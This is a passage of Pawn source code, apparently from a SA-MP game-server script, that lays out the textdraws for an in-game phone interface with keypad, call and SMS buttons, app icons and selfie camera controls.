		TextDrawAlignment(PhoneTest[6], 1);
		TextDrawColor(PhoneTest[6], -1);
		TextDrawUseBox(PhoneTest[6], true);
		TextDrawBoxColor(PhoneTest[6], 60);
		TextDrawSetShadow(PhoneTest[6], 0);
		TextDrawSetOutline(PhoneTest[6], 0);
		TextDrawBackgroundColor(PhoneTest[6], 51);
		TextDrawFont(PhoneTest[6], 1);
		TextDrawSetProportional(PhoneTest[6], 1);
        format(xSxs, sizeof(xSxs), "This is i%s", SERVER_NAME1);TextDrawSetString(PhoneTest[6], xSxs);

		PhoneTest[7] = TextDrawCreate(553.750000, 359.333374, "...~n~...~n~...");
		TextDrawLetterSize(PhoneTest[7], 0.268749, 0.386667);
		TextDrawTextSize(PhoneTest[7], 10.625000, 8.166665);
		TextDrawAlignment(PhoneTest[7], 2);
		TextDrawColor(PhoneTest[7], -1);
		TextDrawSetShadow(PhoneTest[7], 0);
		TextDrawSetOutline(PhoneTest[7], 0);
		TextDrawBackgroundColor(PhoneTest[7], 51);
		TextDrawFont(PhoneTest[7], 1);
		TextDrawSetProportional(PhoneTest[7], 1);
		TextDrawSetSelectable(PhoneTest[7], true);

		PhoneTest[8] = TextDrawCreate(526.250000, 362.249969, "SMS");
		TextDrawLetterSize(PhoneTest[8], 0.171875, 0.608332);
		TextDrawTextSize(PhoneTest[8], 9.375000, 14.583330);
		TextDrawAlignment(PhoneTest[8], 2);
		TextDrawColor(PhoneTest[8], -1);
		TextDrawUseBox(PhoneTest[8], true);
		TextDrawBoxColor(PhoneTest[8], 41215);
		TextDrawSetShadow(PhoneTest[8], 0);
		TextDrawSetOutline(PhoneTest[8], 0);
		TextDrawBackgroundColor(PhoneTest[8], 51);
		TextDrawFont(PhoneTest[8], 1);
		TextDrawSetProportional(PhoneTest[8], 1);
		TextDrawSetSelectable(PhoneTest[8], true);

		PhoneTest[9] = TextDrawCreate(580.625000, 362.833404, "Call");
		TextDrawLetterSize(PhoneTest[9], 0.265623, 0.520833);
		TextDrawTextSize(PhoneTest[9], 9.375000, 14.583333);
		TextDrawAlignment(PhoneTest[9], 2);
		TextDrawColor(PhoneTest[9], -1);
		TextDrawUseBox(PhoneTest[9], true);
		TextDrawBoxColor(PhoneTest[9], 41215);
		TextDrawSetShadow(PhoneTest[9], 0);
		TextDrawSetOutline(PhoneTest[9], 0);
		TextDrawBackgroundColor(PhoneTest[9], 51);
		TextDrawFont(PhoneTest[9], 1);
		TextDrawSetProportional(PhoneTest[9], 1);
		TextDrawSetSelectable(PhoneTest[9], true);

		PhoneTest[10] = TextDrawCreate(539.375000, 214.666656, "00:00");
		TextDrawLetterSize(PhoneTest[10], 0.284373, 2.008332);
		TextDrawAlignment(PhoneTest[10], 1);
		TextDrawColor(PhoneTest[10], -1);
		TextDrawUseBox(PhoneTest[10], true);
		TextDrawBoxColor(PhoneTest[10], 0);
		TextDrawSetShadow(PhoneTest[10], 0);
		TextDrawSetOutline(PhoneTest[10], 0);
		TextDrawBackgroundColor(PhoneTest[10], 51);
		TextDrawFont(PhoneTest[10], 2);
		TextDrawSetProportional(PhoneTest[10], 1);

		//Safhe Poshte SMS send
		PhoneTest[12] = TextDrawCreate(508.125000, 208.833312, "LD_SPAC:white");
		TextDrawLetterSize(PhoneTest[12], 0.000000, 0.000000);
		TextDrawTextSize(PhoneTest[12], 93.750000, 164.500000);
		TextDrawAlignment(PhoneTest[12], 1);
		TextDrawColor(PhoneTest[12], -1378294017);
		TextDrawSetShadow(PhoneTest[12], 0);
		TextDrawSetOutline(PhoneTest[12], 0);
		TextDrawFont(PhoneTest[12], 4);

		PhoneTest[26] = TextDrawCreate(518.125000, 219.333312, "LD_SPAC:white");// in zire 1234567 miofte
		TextDrawLetterSize(PhoneTest[26], 0.000000, 0.000000);
		TextDrawTextSize(PhoneTest[26], 73.125000, 29.166671);
		TextDrawAlignment(PhoneTest[26], 1);
		TextDrawColor(PhoneTest[26], -1);
		TextDrawSetShadow(PhoneTest[26], 0);
		TextDrawSetOutline(PhoneTest[26], 0);
		TextDrawFont(PhoneTest[26], 4);

		CreatPNokiaTds();

		//kelide send baraye sms
		PhoneTest[11] = TextDrawCreate(586.250000, 357.000000, "Send");
		TextDrawLetterSize(PhoneTest[11], 0.171875, 1.220833);
		TextDrawTextSize(PhoneTest[11], 9.375000, 17.500000);
		TextDrawAlignment(PhoneTest[11], 2);
		TextDrawColor(PhoneTest[11], 255);
		TextDrawUseBox(PhoneTest[11], true);
		TextDrawBoxColor(PhoneTest[11], 8388863);
		TextDrawSetShadow(PhoneTest[11], 0);
		TextDrawSetOutline(PhoneTest[11], 0);
		TextDrawBackgroundColor(PhoneTest[11], 51);
		TextDrawFont(PhoneTest[11], 2);
		TextDrawSetProportional(PhoneTest[11], 1);
		TextDrawSetSelectable(PhoneTest[11], true);

		//az inja dialer shoru mishavad

		PhoneTest[27] = TextDrawCreate(508.125000, 260.166656, "LD_SPAC:white");/////////////////////
		TextDrawLetterSize(PhoneTest[27], 0.000000, 0.000000);
		TextDrawTextSize(PhoneTest[27], 93.750000, 113.166732);
		TextDrawAlignment(PhoneTest[27], 1);
		TextDrawColor(PhoneTest[27], 16711935);
		TextDrawSetShadow(PhoneTest[27], 0);
		TextDrawSetOutline(PhoneTest[27], 0);
		TextDrawFont(PhoneTest[27], 4);

		PhoneTest[13] = TextDrawCreate(525.625000, 353.500122, "C");
		TextDrawLetterSize(PhoneTest[13], 0.396874, 1.162499);
		TextDrawTextSize(PhoneTest[13], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[13], 2);
		TextDrawColor(PhoneTest[13], -16776961);
		TextDrawUseBox(PhoneTest[13], true);
		TextDrawBoxColor(PhoneTest[13], 8388863);
		TextDrawSetShadow(PhoneTest[13], 0);
		TextDrawSetOutline(PhoneTest[13], 0);
		TextDrawBackgroundColor(PhoneTest[13], 51);
		TextDrawFont(PhoneTest[13], 3);
		TextDrawSetProportional(PhoneTest[13], 1);
		TextDrawSetSelectable(PhoneTest[13], true);

		PhoneTest[14] = TextDrawCreate(554.375000, 354.083068, "0");
		TextDrawLetterSize(PhoneTest[14], 0.406249, 1.104166);
		TextDrawTextSize(PhoneTest[14], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[14], 2);
		TextDrawColor(PhoneTest[14], 255);
		TextDrawUseBox(PhoneTest[14], true);
		TextDrawBoxColor(PhoneTest[14], 8388863);
		TextDrawSetShadow(PhoneTest[14], 0);
		TextDrawSetOutline(PhoneTest[14], 0);
		TextDrawBackgroundColor(PhoneTest[14], 51);
		TextDrawFont(PhoneTest[14], 3);
		TextDrawSetProportional(PhoneTest[14], 1);
		TextDrawSetSelectable(PhoneTest[14], true);

		PhoneTest[15] = TextDrawCreate(585.000000, 353.500488, "#");
		TextDrawLetterSize(PhoneTest[15], 0.427499, 1.168332);
		TextDrawTextSize(PhoneTest[15], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[15], 2);
		TextDrawColor(PhoneTest[15], 255);
		TextDrawUseBox(PhoneTest[15], true);
		TextDrawBoxColor(PhoneTest[15], 8388863);
		TextDrawSetShadow(PhoneTest[15], 0);
		TextDrawSetOutline(PhoneTest[15], 0);
		TextDrawBackgroundColor(PhoneTest[15], 51);
		TextDrawFont(PhoneTest[15], 1);
		TextDrawSetProportional(PhoneTest[15], 1);
		TextDrawSetSelectable(PhoneTest[15], true);

		PhoneTest[16] = TextDrawCreate(525.000000, 331.916687, "7");
		TextDrawLetterSize(PhoneTest[16], 0.365624, 1.133332);
		TextDrawTextSize(PhoneTest[16], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[16], 2);
		TextDrawColor(PhoneTest[16], 255);
		TextDrawUseBox(PhoneTest[16], true);
		TextDrawBoxColor(PhoneTest[16], 8388863);
		TextDrawSetShadow(PhoneTest[16], 0);
		TextDrawSetOutline(PhoneTest[16], 0);
		TextDrawBackgroundColor(PhoneTest[16], 51);
		TextDrawFont(PhoneTest[16], 3);
		TextDrawSetProportional(PhoneTest[16], 1);
		TextDrawSetSelectable(PhoneTest[16], true);

		PhoneTest[17] = TextDrawCreate(554.375000, 331.916778, "8");
		TextDrawLetterSize(PhoneTest[17], 0.391874, 1.162499);
		TextDrawTextSize(PhoneTest[17], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[17], 2);
		TextDrawColor(PhoneTest[17], 255);
		TextDrawUseBox(PhoneTest[17], true);
		TextDrawBoxColor(PhoneTest[17], 8388863);
		TextDrawSetShadow(PhoneTest[17], 0);
		TextDrawSetOutline(PhoneTest[17], 0);
		TextDrawBackgroundColor(PhoneTest[17], 51);
		TextDrawFont(PhoneTest[17], 3);
		TextDrawSetProportional(PhoneTest[17], 1);
		TextDrawSetSelectable(PhoneTest[17], true);

		PhoneTest[18] = TextDrawCreate(583.750000, 331.916931, "9");
		TextDrawLetterSize(PhoneTest[18], 0.393124, 1.144998);
		TextDrawTextSize(PhoneTest[18], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[18], 2);
		TextDrawColor(PhoneTest[18], 255);
		TextDrawUseBox(PhoneTest[18], true);
		TextDrawBoxColor(PhoneTest[18], 8388863);
		TextDrawSetShadow(PhoneTest[18], 0);
		TextDrawSetOutline(PhoneTest[18], 0);
		TextDrawBackgroundColor(PhoneTest[18], 51);
		TextDrawFont(PhoneTest[18], 3);
		TextDrawSetProportional(PhoneTest[18], 1);
		TextDrawSetSelectable(PhoneTest[18], true);

		PhoneTest[19] = TextDrawCreate(525.000000, 311.499908, "4");
		TextDrawLetterSize(PhoneTest[19], 0.421875, 1.162499);
		TextDrawTextSize(PhoneTest[19], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[19], 2);
		TextDrawColor(PhoneTest[19], 255);
		TextDrawUseBox(PhoneTest[19], true);
		TextDrawBoxColor(PhoneTest[19], 8388863);
		TextDrawSetShadow(PhoneTest[19], 0);
		TextDrawSetOutline(PhoneTest[19], 0);
		TextDrawBackgroundColor(PhoneTest[19], 51);
		TextDrawFont(PhoneTest[19], 3);
		TextDrawSetProportional(PhoneTest[19], 1);
		TextDrawSetSelectable(PhoneTest[19], true);

		PhoneTest[20] = TextDrawCreate(553.750000, 311.500274, "5");
		TextDrawLetterSize(PhoneTest[20], 0.363124, 1.168332);
		TextDrawTextSize(PhoneTest[20], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[20], 2);
		TextDrawColor(PhoneTest[20], 255);
		TextDrawUseBox(PhoneTest[20], true);
		TextDrawBoxColor(PhoneTest[20], 8388863);
		TextDrawSetShadow(PhoneTest[20], 0);
		TextDrawSetOutline(PhoneTest[20], 0);
		TextDrawBackgroundColor(PhoneTest[20], 51);
		TextDrawFont(PhoneTest[20], 3);
		TextDrawSetProportional(PhoneTest[20], 1);
		TextDrawSetSelectable(PhoneTest[20], true);

		PhoneTest[21] = TextDrawCreate(583.125000, 312.083526, "6");
		TextDrawLetterSize(PhoneTest[21], 0.346249, 1.162499);
		TextDrawTextSize(PhoneTest[21], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[21], 2);
		TextDrawColor(PhoneTest[21], 255);
		TextDrawUseBox(PhoneTest[21], true);
		TextDrawBoxColor(PhoneTest[21], 8388863);
		TextDrawSetShadow(PhoneTest[21], 0);
		TextDrawSetOutline(PhoneTest[21], 0);
		TextDrawBackgroundColor(PhoneTest[21], 51);
		TextDrawFont(PhoneTest[21], 3);
		TextDrawSetProportional(PhoneTest[21], 1);
		TextDrawSetSelectable(PhoneTest[21], true);

		PhoneTest[22] = TextDrawCreate(524.375000, 291.083282, "1");
		TextDrawLetterSize(PhoneTest[22], 0.365624, 1.156665);
		TextDrawTextSize(PhoneTest[22], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[22], 2);
		TextDrawColor(PhoneTest[22], 255);
		TextDrawUseBox(PhoneTest[22], true);
		TextDrawBoxColor(PhoneTest[22], 8388863);
		TextDrawSetShadow(PhoneTest[22], 0);
		TextDrawSetOutline(PhoneTest[22], 0);
		TextDrawBackgroundColor(PhoneTest[22], 51);
		TextDrawFont(PhoneTest[22], 3);
		TextDrawSetProportional(PhoneTest[22], 1);
		TextDrawSetSelectable(PhoneTest[22], true);

		PhoneTest[23] = TextDrawCreate(553.125000, 291.083465, "2");
		TextDrawLetterSize(PhoneTest[23], 0.360624, 1.168332);
		TextDrawTextSize(PhoneTest[23], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[23], 2);
		TextDrawColor(PhoneTest[23], 255);
		TextDrawUseBox(PhoneTest[23], true);
		TextDrawBoxColor(PhoneTest[23], 8388863);
		TextDrawSetShadow(PhoneTest[23], 0);
		TextDrawSetOutline(PhoneTest[23], 0);
		TextDrawBackgroundColor(PhoneTest[23], 51);
		TextDrawFont(PhoneTest[23], 3);
		TextDrawSetProportional(PhoneTest[23], 1);
		TextDrawSetSelectable(PhoneTest[23], true);

		PhoneTest[24] = TextDrawCreate(583.125000, 291.083435, "3");
		TextDrawLetterSize(PhoneTest[24], 0.326874, 1.127499);
		TextDrawTextSize(PhoneTest[24], 11.875000, 13.416666);
		TextDrawAlignment(PhoneTest[24], 2);
		TextDrawColor(PhoneTest[24], 255);
		TextDrawUseBox(PhoneTest[24], true);
		TextDrawBoxColor(PhoneTest[24], 8388863);
		TextDrawSetShadow(PhoneTest[24], 0);
		TextDrawSetOutline(PhoneTest[24], 0);
		TextDrawBackgroundColor(PhoneTest[24], 51);
		TextDrawFont(PhoneTest[24], 3);
		TextDrawSetProportional(PhoneTest[24], 1);
		TextDrawSetSelectable(PhoneTest[24], true);

		PhoneTest[25] = TextDrawCreate(580.625000, 270.083343, "call");
		TextDrawLetterSize(PhoneTest[25], 0.379999, 1.092499);
		TextDrawTextSize(PhoneTest[25], 10.000000, 18.083337);
		TextDrawAlignment(PhoneTest[25], 2);
		TextDrawColor(PhoneTest[25], -1);
		TextDrawUseBox(PhoneTest[25], true);
		TextDrawBoxColor(PhoneTest[25], -2147483393);
		TextDrawSetShadow(PhoneTest[25], 0);
		TextDrawSetOutline(PhoneTest[25], 0);
		TextDrawBackgroundColor(PhoneTest[25], 51);
		TextDrawFont(PhoneTest[25], 1);
		TextDrawSetProportional(PhoneTest[25], 1);
		TextDrawSetSelectable(PhoneTest[25], true);

		PhoneTest[28] = TextDrawCreate(540.625000, 230.416687, "waiting for");
		TextDrawLetterSize(PhoneTest[28], 0.242499, 0.981666);
		TextDrawAlignment(PhoneTest[28], 2);
		TextDrawColor(PhoneTest[28], -1);
		TextDrawSetShadow(PhoneTest[28], 0);
		TextDrawSetOutline(PhoneTest[28], 0);
		TextDrawBackgroundColor(PhoneTest[28], 51);
		TextDrawFont(PhoneTest[28], 1);
		TextDrawSetProportional(PhoneTest[28], 1);
		//TextDrawSetSelectable(PhoneTest[28], true);

		PhoneTest[29] = TextDrawCreate(523.125000, 256.083251, "to pick up");
		TextDrawLetterSize(PhoneTest[29], 0.226874, 0.911666);
		TextDrawAlignment(PhoneTest[29], 1);
		TextDrawColor(PhoneTest[29], -1);
		TextDrawSetShadow(PhoneTest[29], 0);
		TextDrawSetOutline(PhoneTest[29], 0);
		TextDrawBackgroundColor(PhoneTest[29], 51);
		TextDrawFont(PhoneTest[29], 1);
		TextDrawSetProportional(PhoneTest[29], 1);

		PhoneTest[30] = TextDrawCreate(553.750000, 311.500030, "Hang up");
		TextDrawLetterSize(PhoneTest[30], 0.240624, 0.923333);
		TextDrawTextSize(PhoneTest[30], 10.625000, 38.499984);
		TextDrawAlignment(PhoneTest[30], 2);
		TextDrawColor(PhoneTest[30], -1);
		TextDrawUseBox(PhoneTest[30], true);
		TextDrawBoxColor(PhoneTest[30], -16776961);
		TextDrawSetShadow(PhoneTest[30], 0);
		TextDrawSetOutline(PhoneTest[30], 0);
		TextDrawBackgroundColor(PhoneTest[30], 51);
		TextDrawFont(PhoneTest[30], 1);
		TextDrawSetProportional(PhoneTest[30], 1);
		TextDrawSetSelectable(PhoneTest[30], true);

		PhoneTest[31] = TextDrawCreate(554.375000, 331.916870, "speaker");
		TextDrawLetterSize(PhoneTest[31], 0.247499, 1.022499);
		TextDrawTextSize(PhoneTest[31], 13.750000, 37.916675);
		TextDrawAlignment(PhoneTest[31], 2);
		TextDrawColor(PhoneTest[31], -1);
		TextDrawUseBox(PhoneTest[31], true);
		TextDrawBoxColor(PhoneTest[31], 65535);
		TextDrawSetShadow(PhoneTest[31], 0);
		TextDrawSetOutline(PhoneTest[31], 0);
		TextDrawBackgroundColor(PhoneTest[31], 51);
		TextDrawFont(PhoneTest[31], 1);
		TextDrawSetProportional(PhoneTest[31], 1);
		TextDrawSetSelectable(PhoneTest[31], true);

		PhoneTest[32] = TextDrawCreate(523.750000, 231.583297, "On Call with");
		TextDrawLetterSize(PhoneTest[32], 0.214999, 0.964166);
		TextDrawAlignment(PhoneTest[32], 1);
		TextDrawColor(PhoneTest[32], -1);
		TextDrawSetShadow(PhoneTest[32], 0);
		TextDrawSetOutline(PhoneTest[32], 0);
		TextDrawBackgroundColor(PhoneTest[32], 51);
		TextDrawFont(PhoneTest[32], 1);
		TextDrawSetProportional(PhoneTest[32], 1);

		PhoneTest[33] = TextDrawCreate(553.125000, 289.333282, "Answer");
		TextDrawLetterSize(PhoneTest[33], 0.296874, 0.987500);
		TextDrawTextSize(PhoneTest[33], 12.500000, 37.916671);
		TextDrawAlignment(PhoneTest[33], 2);
		TextDrawColor(PhoneTest[33], -1);
		TextDrawUseBox(PhoneTest[33], true);
		TextDrawBoxColor(PhoneTest[33], 8388863);
		TextDrawSetShadow(PhoneTest[33], 0);
		TextDrawSetOutline(PhoneTest[33], 0);
		TextDrawBackgroundColor(PhoneTest[33], 51);
		TextDrawFont(PhoneTest[33], 1);
		TextDrawSetProportional(PhoneTest[33], 1);
		TextDrawSetSelectable(PhoneTest[33], true);

		PhoneTest[34] = TextDrawCreate(536.250000, 267.166656, "call from");
		TextDrawLetterSize(PhoneTest[34], 0.193749, 0.899999);
		TextDrawAlignment(PhoneTest[34], 1);
		TextDrawColor(PhoneTest[34], -1);
		TextDrawSetShadow(PhoneTest[34], 0);
		TextDrawSetOutline(PhoneTest[34], 0);
		TextDrawBackgroundColor(PhoneTest[34], 51);
		TextDrawFont(PhoneTest[34], 1);
		TextDrawSetProportional(PhoneTest[34], 1);

		PhoneTest[35] = TextDrawCreate(508.125000, 209.416687, "LD_SPAC:white");
		TextDrawLetterSize(PhoneTest[35], 0.000000, 0.000000);
		TextDrawTextSize(PhoneTest[35], 94.375000, 164.499862);
		TextDrawAlignment(PhoneTest[35], 1);
		TextDrawColor(PhoneTest[35], -2139062017);
		TextDrawSetShadow(PhoneTest[35], 0);
		TextDrawSetOutline(PhoneTest[35], 0);
		TextDrawFont(PhoneTest[35], 4);

		PhoneTest[36] = TextDrawCreate(516.875000, 222.249969, "iconcamera");
		TextDrawLetterSize(PhoneTest[36], 0.449999, 1.600000);
		TextDrawTextSize(PhoneTest[36], 22.500000, 22.166666);
		TextDrawAlignment(PhoneTest[36], 2);
		TextDrawColor(PhoneTest[36], -1);
		TextDrawUseBox(PhoneTest[36], true);
		TextDrawBoxColor(PhoneTest[36], -65281);
		TextDrawSetShadow(PhoneTest[36], 0);
		TextDrawSetOutline(PhoneTest[36], 1);
		TextDrawBackgroundColor(PhoneTest[36], -65281);
		TextDrawFont(PhoneTest[36], 5);
		TextDrawSetProportional(PhoneTest[36], 1);
		TextDrawSetSelectable(PhoneTest[36], true);
		TextDrawSetPreviewModel(PhoneTest[36], 367);
		TextDrawSetPreviewRot(PhoneTest[36], 0.000000, 0.000000, 90.000000, 1.000000);

		PhoneTest[37] = TextDrawCreate(573.125000, 222.249969, "iconsetting");
		TextDrawLetterSize(PhoneTest[37], 0.449999, 1.600000);
		TextDrawTextSize(PhoneTest[37], 23.125000, 22.749998);
		TextDrawAlignment(PhoneTest[37], 1);
		TextDrawColor(PhoneTest[37], -1);
		TextDrawUseBox(PhoneTest[37], true);
		TextDrawBoxColor(PhoneTest[37], 0);
		TextDrawSetShadow(PhoneTest[37], 0);
		TextDrawSetOutline(PhoneTest[37], 1);
		TextDrawBackgroundColor(PhoneTest[37], 16711935);
		TextDrawFont(PhoneTest[37], 5);
		TextDrawSetProportional(PhoneTest[37], 1);
		TextDrawSetSelectable(PhoneTest[37], true);
		TextDrawSetPreviewModel(PhoneTest[37], 3096);
		TextDrawSetPreviewRot(PhoneTest[37], 0.000000, 0.000000, 0.000000, 1.000000);

		PhoneTest[38] = TextDrawCreate(527.500000, 243.833343, "Camera");
		TextDrawLetterSize(PhoneTest[38], 0.171874, 0.841665);
		TextDrawAlignment(PhoneTest[38], 2);
		TextDrawColor(PhoneTest[38], -18177);
		TextDrawSetShadow(PhoneTest[38], 0);
		TextDrawSetOutline(PhoneTest[38], 0);
		TextDrawBackgroundColor(PhoneTest[38], 51);
		TextDrawFont(PhoneTest[38], 1);
		TextDrawSetProportional(PhoneTest[38], 1);

		PhoneTest[39] = TextDrawCreate(543.125000, 222.250045, "iconmusic");
		TextDrawLetterSize(PhoneTest[39], 0.449999, 1.600000);
		TextDrawTextSize(PhoneTest[39], 23.750000, 22.166675);
		TextDrawAlignment(PhoneTest[39], 2);
		TextDrawColor(PhoneTest[39], -1);
		TextDrawUseBox(PhoneTest[39], true);
		TextDrawBoxColor(PhoneTest[39], 0);
		TextDrawSetShadow(PhoneTest[39], 0);
		TextDrawSetOutline(PhoneTest[39], 1);
		TextDrawBackgroundColor(PhoneTest[39], -5963521);
		TextDrawFont(PhoneTest[39], 5);
		TextDrawSetProportional(PhoneTest[39], 1);
		TextDrawSetSelectable(PhoneTest[39], true);
		TextDrawSetPreviewModel(PhoneTest[39], 19617);
		TextDrawSetPreviewRot(PhoneTest[39], 0.000000, 0.000000, 180.000000, 1.000000);



		PhoneTest[40] = TextDrawCreate(516.250000, 253.749923, "icondialer");
		TextDrawLetterSize(PhoneTest[40], 0.449999, 1.600000);
		TextDrawTextSize(PhoneTest[40], 23.125000, 22.750001);
		TextDrawAlignment(PhoneTest[40], 2);
		TextDrawColor(PhoneTest[40], -1);
		TextDrawUseBox(PhoneTest[40], true);
		TextDrawBoxColor(PhoneTest[40], 0);
		TextDrawSetShadow(PhoneTest[40], 0);
		TextDrawSetOutline(PhoneTest[40], 717);
		TextDrawBackgroundColor(PhoneTest[40], -16711681);
		TextDrawFont(PhoneTest[40], 5);
		TextDrawSetSelectable(PhoneTest[40], true);
		TextDrawSetPreviewModel(PhoneTest[40], 11728);
		TextDrawSetPreviewRot(PhoneTest[40], 0.000000, 0.000000, 180.000000, 1.000000);

		PhoneTest[41] = TextDrawCreate(544.375000, 253.750091, "iconpm");
		TextDrawLetterSize(PhoneTest[41], 0.449999, 1.600000);
		TextDrawTextSize(PhoneTest[41], 22.500000, 22.750015);
		TextDrawAlignment(PhoneTest[41], 2);
		TextDrawColor(PhoneTest[41], -1);
		TextDrawUseBox(PhoneTest[41], true);
		TextDrawBoxColor(PhoneTest[41], 0);
		TextDrawSetShadow(PhoneTest[41], 0);
		TextDrawSetOutline(PhoneTest[41], 1);
		TextDrawBackgroundColor(PhoneTest[41], -1523963137);
		TextDrawFont(PhoneTest[41], 5);
		TextDrawSetProportional(PhoneTest[41], 1);
		TextDrawSetSelectable(PhoneTest[41], true);
		TextDrawSetPreviewModel(PhoneTest[41], 19867);
		TextDrawSetPreviewRot(PhoneTest[41], 0.000000, 0.000000, 215.000000, 1.000000);

		PhoneTest[44] = TextDrawCreate(556.250000, 243.833358, "music");
		TextDrawLetterSize(PhoneTest[44], 0.215625, 0.899999);
		TextDrawAlignment(PhoneTest[44], 2);
		TextDrawColor(PhoneTest[44], -5963521);
		TextDrawSetShadow(PhoneTest[44], 0);
		TextDrawSetOutline(PhoneTest[44], 0);
		TextDrawBackgroundColor(PhoneTest[44], 51);
		TextDrawFont(PhoneTest[44], 1);
		TextDrawSetProportional(PhoneTest[44], 1);

		PhoneTest[45] = TextDrawCreate(583.750000, 244.416702, "setting");
		TextDrawLetterSize(PhoneTest[45], 0.206249, 0.900000);
		TextDrawAlignment(PhoneTest[45], 2);
		TextDrawColor(PhoneTest[45], 16711935);
		TextDrawSetShadow(PhoneTest[45], 0);
		TextDrawSetOutline(PhoneTest[45], 0);
		TextDrawBackgroundColor(PhoneTest[45], 51);
		TextDrawFont(PhoneTest[45], 1);
		TextDrawSetProportional(PhoneTest[45], 1);

		PhoneTest[46] = TextDrawCreate(527.500000, 274.749816, "Call");
		TextDrawLetterSize(PhoneTest[46], 0.253125, 0.812499);
		TextDrawAlignment(PhoneTest[46], 2);
		TextDrawColor(PhoneTest[46], -16711681);
		TextDrawSetShadow(PhoneTest[46], 0);
		TextDrawSetOutline(PhoneTest[46], 0);
		TextDrawBackgroundColor(PhoneTest[46], 51);
		TextDrawFont(PhoneTest[46], 1);
		TextDrawSetProportional(PhoneTest[46], 1);

		PhoneTest[47] = TextDrawCreate(555.625000, 274.749938, "SMS");
		TextDrawLetterSize(PhoneTest[47], 0.212499, 0.812500);
		TextDrawAlignment(PhoneTest[47], 2);
		TextDrawColor(PhoneTest[47], -1523963137);
		TextDrawSetShadow(PhoneTest[47], 0);
		TextDrawSetOutline(PhoneTest[47], 0);
		TextDrawBackgroundColor(PhoneTest[47], 51);
		TextDrawFont(PhoneTest[47], 1);
		TextDrawSetProportional(PhoneTest[47], 1);


		//selfie

		PhoneTest[48] = TextDrawCreate(555.625000, 241.500030, "Distance");
		TextDrawLetterSize(PhoneTest[48], 0.188749, 0.707499);
		TextDrawTextSize(PhoneTest[48], -2.500000, 37.916656);
		TextDrawAlignment(PhoneTest[48], 2);
		TextDrawColor(PhoneTest[48], 255);
		TextDrawUseBox(PhoneTest[48], true);
		TextDrawBoxColor(PhoneTest[48], -1378294017);
		TextDrawSetShadow(PhoneTest[48], 0);
		TextDrawSetOutline(PhoneTest[48], 0);
		TextDrawBackgroundColor(PhoneTest[48], 51);
		TextDrawFont(PhoneTest[48], 2);
		TextDrawSetProportional(PhoneTest[48], 1);

		PhoneTest[51] = TextDrawCreate(555.625000, 256.083312, "Height");
		TextDrawLetterSize(PhoneTest[51], 0.201874, 0.713333);
		TextDrawTextSize(PhoneTest[51], 0.000000, 37.916667);
		TextDrawAlignment(PhoneTest[51], 2);
		TextDrawColor(PhoneTest[51], 255);
		TextDrawUseBox(PhoneTest[51], true);
		TextDrawBoxColor(PhoneTest[51], -1378294017);
		TextDrawSetShadow(PhoneTest[51], 0);
		TextDrawSetOutline(PhoneTest[51], 0);
		TextDrawBackgroundColor(PhoneTest[51], 51);
		TextDrawFont(PhoneTest[51], 2);
		TextDrawSetProportional(PhoneTest[51], 1);

		PhoneTest[52] = TextDrawCreate(554.375000, 218.166656, "Camera~n~Position");
		TextDrawLetterSize(PhoneTest[52], 0.228124, 0.929166);
		TextDrawAlignment(PhoneTest[52], 2);
		TextDrawColor(PhoneTest[52], -65281);
		TextDrawUseBox(PhoneTest[52], true);
		TextDrawBoxColor(PhoneTest[52], 0);
		TextDrawSetShadow(PhoneTest[52], 0);
		TextDrawSetOutline(PhoneTest[52], 0);
		TextDrawBackgroundColor(PhoneTest[52], 51);
		TextDrawFont(PhoneTest[52], 2);
		TextDrawSetProportional(PhoneTest[52], 1);

		PhoneTest[53] = TextDrawCreate(556.875000, 268.333343, "Looking~n~At");
		TextDrawLetterSize(PhoneTest[53], 0.274999, 0.900000);
		TextDrawAlignment(PhoneTest[53], 2);
		TextDrawColor(PhoneTest[53], -65281);
		TextDrawSetShadow(PhoneTest[53], 0);
		TextDrawSetOutline(PhoneTest[53], 0);
		TextDrawBackgroundColor(PhoneTest[53], 51);
		TextDrawFont(PhoneTest[53], 2);
		TextDrawSetProportional(PhoneTest[53], 1);



		PhoneTest[54] = TextDrawCreate(556.250000, 289.333312, "Distance");
		TextDrawLetterSize(PhoneTest[54], 0.187499, 0.958333);
		TextDrawTextSize(PhoneTest[54], 28.125000, 37.916675);
		TextDrawAlignment(PhoneTest[54], 2);
		TextDrawColor(PhoneTest[54], 255);
		TextDrawUseBox(PhoneTest[54], true);
		TextDrawBoxColor(PhoneTest[54], -5963521);
		TextDrawSetShadow(PhoneTest[54], 0);
		TextDrawSetOutline(PhoneTest[54], 0);
		TextDrawBackgroundColor(PhoneTest[54], 51);
		TextDrawFont(PhoneTest[54], 2);
		TextDrawSetProportional(PhoneTest[54], 1);

		PhoneTest[55] = TextDrawCreate(557.250000, 307.833251, "Height");
		TextDrawLetterSize(PhoneTest[55], 0.187499, 0.958333);
		TextDrawTextSize(PhoneTest[55], 28.125000, 37.916675);
		TextDrawAlignment(PhoneTest[55], 2);
		TextDrawColor(PhoneTest[55], 255);
		TextDrawUseBox(PhoneTest[55], true);
		TextDrawBoxColor(PhoneTest[55], -5963521);
		TextDrawSetShadow(PhoneTest[55], 0);
		TextDrawSetOutline(PhoneTest[55], 0);
		TextDrawBackgroundColor(PhoneTest[55], 51);
		TextDrawFont(PhoneTest[55], 2);
		TextDrawSetProportional(PhoneTest[55], 1);

		PhoneTest[56] = TextDrawCreate(513.750000, 343.583526, "For save your selfie, use F8 key.");
		TextDrawLetterSize(PhoneTest[56], 0.195623, 0.765833);
		TextDrawTextSize(PhoneTest[56], 596.250000, 6.999999);
		TextDrawAlignment(PhoneTest[56], 1);
		TextDrawColor(PhoneTest[56], -1);
		TextDrawUseBox(PhoneTest[56], true);
		TextDrawBoxColor(PhoneTest[56], 8388646);
		TextDrawSetShadow(PhoneTest[56], 0);
		TextDrawSetOutline(PhoneTest[56], 0);
		TextDrawBackgroundColor(PhoneTest[56], 51);
		TextDrawFont(PhoneTest[56], 1);
		TextDrawSetProportional(PhoneTest[56], 1);

